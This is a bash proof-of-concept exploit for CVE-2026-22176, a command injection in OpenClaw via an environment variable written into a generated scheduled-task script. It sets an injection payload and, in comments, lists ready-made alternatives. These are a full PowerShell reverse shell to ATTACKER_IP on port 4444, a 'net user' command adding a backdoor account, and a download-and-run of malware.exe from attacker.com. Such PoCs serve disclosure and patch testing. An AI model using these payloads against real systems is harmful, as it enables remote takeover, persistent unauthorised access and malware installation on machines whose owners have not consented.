CVE-2026-22176

#!/bin/bash # CVE-2026-22176 PoC - OpenClaw Command Injection # Environment variable injection via scheduled task script generation # Set malicious environment variable with command injection payload # The payload uses & to break out of set assignment and execute arbitrary command export MALICIOUS_VAR="test&calc.exe" # Alternative payloads: # Reverse shell: "test&powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"" # Add user: "test&net user hacker P@ssw0rd123 /add" # Download and execute: "test&powershell -c \"Invoke-WebRequest -Uri 'http://attacker.com/malware.exe' -OutFile 'C:\\temp\\malware.exe'; Start-Process 'C:\\temp\\malware.exe'\"" echo '[+] PoC for CVE-2026-22176: OpenClaw Command Injection' echo '[*] Set malicious environment variable to trigger command injection' echo '[*] When OpenClaw generates scheduled task script, the injected command will execute'

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